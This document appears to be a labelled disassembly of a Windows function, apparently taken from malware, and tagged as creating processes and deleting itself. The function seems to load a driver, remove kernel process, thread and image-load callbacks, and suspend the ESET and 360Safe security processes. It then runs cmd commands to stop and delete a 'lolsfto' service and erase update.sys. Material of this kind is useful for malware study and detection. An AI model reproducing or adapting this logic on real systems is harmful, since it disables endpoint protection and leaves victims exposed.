Function at 0x140003520
Capabilities:
Create process on windows
Self delete

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0xb0]
sub rsp, 0x1b0
mov rax, qword [0x140028008]
xor rax, rsp
mov qword [rbp + 0xa0], rax
lea rcx, [0x140023720]
call fcn.140002fd0
lea rcx, str.kernel32.dll
call fcn.140002fd0
lea rcx, [0x140023720]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140003aea
lea rdx, str.RtlGetNtVersionNumbers
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, [0x140029d18]
lea rdx, [0x140029d04]
lea rcx, [0x140029d00]
call rax
xor r12d, r12d
mov word [0x140029d1a], r12w
lea ecx, [r12 + 0x18]
call fcn.140003ed0
mov rcx, rax
call fcn.1400015b0
mov rdx, rax
mov qword [0x14002acc8], rax
lea rcx, str.Created_drv:__x_r_n
call fcn.140001010
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.PsSetCreateProcessNotifyRoutine
call fcn.140001a50
lea rcx, str.PsSetCreateThreadNotifyRoutine
mov rsi, rax
call fcn.140001a50
lea rcx, str.PsSetLoadImageNotifyRoutine
mov rdi, rax
call fcn.140001a50
mov rbx, rax
test rsi, rsi
je 0x14000361f
mov rcx, rsi
call fcn.140001e80
test rdi, rdi
je 0x14000362c
mov rcx, rdi
call fcn.140001e80
test rbx, rbx
je 0x140003639
mov rcx, rbx
call fcn.140001e80
mov ecx, 1
call fcn.140001fb0
mov rbx, rax
test rax, rax
je 0x140003677
mov ecx, 2
call fcn.140001fb0
mov rdi, rax
test rax, rax
je 0x140003677
mov edx, 1
mov rcx, rbx
call fcn.140002160
mov edx, 2
mov rcx, rdi
call fcn.140002160
call fcn.140002410
xor edx, edx
lea rcx, [rbp - 0x70]
mov r8d, 0x104
call fcn.140005290
mov r8d, 0x104
lea rdx, [rbp - 0x70]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x70]
call fcn.140003b60
call fcn.140002a00
mov rax, qword [str.ekrn.exe]
lea rcx, [rsp + 0x50]
xorps xmm0, xmm0
mov qword [rsp + 0x60], 8
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x50], rax
mov byte [rsp + 0x58], r12b
mov qword [rsp + 0x68], 0xf
call fcn.1400032c0
mov rdx, qword [rsp + 0x68]
mov rbx, rax
cmp rdx, 0x10
jb 0x140003727
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003722
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b52
call fcn.140003f14
test rbx, rbx
jne 0x140003b17
lea rcx, [0x140023720]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x140024108]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14002acc0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x30], 2
lea r9, [0x140029d08]
mov rcx, rax
mov dword [rsp + 0x28], r12d
mov r8, rdi
mov dword [rsp + 0x20], r12d
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x140003b17
mov r14, qword [0x140029d08]
xor edi, edi
mov r12d, 0x1000
mov qword [rsp + 0x1e0], r13
mov r13d, edi
mov r15d, edi
mov ebx, r12d
nop dword [rax]
mov rdx, rbx
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov r10, qword [0x14002acc0]
lea r9, [rsp + 0x44]
mov rdx, rax
mov r8d, r12d
mov ecx, 0x40
mov rsi, rax
call r10
cmp eax, 0xc0000004
je 0x1400037fa
test eax, eax
js 0x140003894
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov r12d, dword [rsp + 0x44]
mov ecx, 0x40
add r12d, 0x100
mov ebx, r12d
mov edx, r12d
mov qword [rsp + 0x48], rbx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
lea r9, [rsp + 0x44]
mov r8d, r12d
mov rsi, rax
mov ecx, 0x40
mov rax, qword [0x14002acc0]
mov rdx, rsi
call rax
test eax, eax
js 0x140003894
cmp qword [rsi], 0
jbe 0x140003892
nop dword [rax + rax]
mov eax, edi
lea rbx, [rax + rax*4]
cmp r14w, 4
jne 0x140003864
cmp dword [rsi + rbx*8 + 0x18], 4
jmp 0x14000386e
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, dword [rsi + rbx*8 + 0x18]
jne 0x140003877
cmp r14, qword [rsi + rbx*8 + 0x20]
je 0x140003882
inc edi
mov eax, edi
cmp rax, qword [rsi]
jb 0x140003850
jmp 0x14000388d
mov r13, qword [rsi + rbx*8 + 0x10]
mov r15d, 1
mov rbx, qword [rsp + 0x48]
xor edi, edi
test rsi, rsi
je 0x1400038a2
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
test r15d, r15d
je 0x1400037c0
mov rdx, r13
mov qword [0x140029d10], r13
lea rcx, str.0x_x_r_n
call fcn.140001010
mov r14, qword [0x140029d10]
lea rdx, [rsp + 0x40]
add r14, 0x232
mov byte [rsp + 0x40], 0xff
call fcn.140001220
mov r9d, 1
mov r8, rax
mov rdx, r14
call fcn.140001490
movsx edx, byte [rsp + 0x40]
lea rcx, str._d_r_n
call fcn.140001010
lea rdx, [rsp + 0x40]
mov byte [rsp + 0x40], 0
call fcn.140001220
mov rdx, rax
lea rcx, str._d_r_n
mov rbx, rax
call fcn.140001010
mov r8, r14
mov rdx, rbx
call fcn.140001360
lea rdx, [rsp + 0x40]
mov byte [rsp + 0x40], 0xff
call fcn.140001220
mov r9d, 1
mov r8, rax
mov rdx, r14
call fcn.140001490
movsx edx, byte [rsp + 0x40]
lea rcx, str._d_r_n
call fcn.140001010
mov rbx, qword [str.360Safe.exe]
mov r13, qword [rsp + 0x1e0]
test rbx, rbx
je 0x140003a42
mov rsi, rdi
lea r15, str.360Safe.exe
xor r12d, r12d
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140003b60
mov rcx, rax
call fcn.1400032c0
mov rdx, qword [rsp + 0x68]
mov rdi, rax
cmp rdx, 0x10
jb 0x1400039d7
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400039d2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b4c
call fcn.140003f14
lea rcx, [0x140023720]
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], r12b
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.ZwSuspendProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
call rax
not eax
lea rcx, str.Name:__s__Handle:__d__Success:__d_r_n
shr eax, 0x1f
mov r8, rdi
mov r9d, eax
mov rdx, rbx
call fcn.140001010
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rbx, qword [r15 + rsi*8 + 8]
inc rsi
test rbx, rbx
jne 0x140003982
lea rdx, [rsp + 0x40]
mov byte [rsp + 0x40], 1
call fcn.140001220
mov rdx, rax
lea rcx, str._d_r_n
mov rbx, rax
call fcn.140001010
mov r8, r14
mov rdx, rbx
call fcn.140001360
xor edx, edx
lea rcx, str.cmd.exe__c_sc_delete_lolsfto
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.cmd.exe__c_sc_stop_lolsfto
call qword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea rcx, str.cmd.exe__c_del_C:WindowsSystem32driversupdate.sys
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.Successfull_Cleanup_
call fcn.140001010
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140003aea
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003ae5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b52
call fcn.140003f14
xor eax, eax
mov rcx, qword [rbp + 0xa0]
xor rcx, rsp
call fcn.140003eb0
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140003aea
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003ae5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b52
jmp 0x140003ae5
call fcn.14000a4bc
int3
call fcn.14000a4bc
int3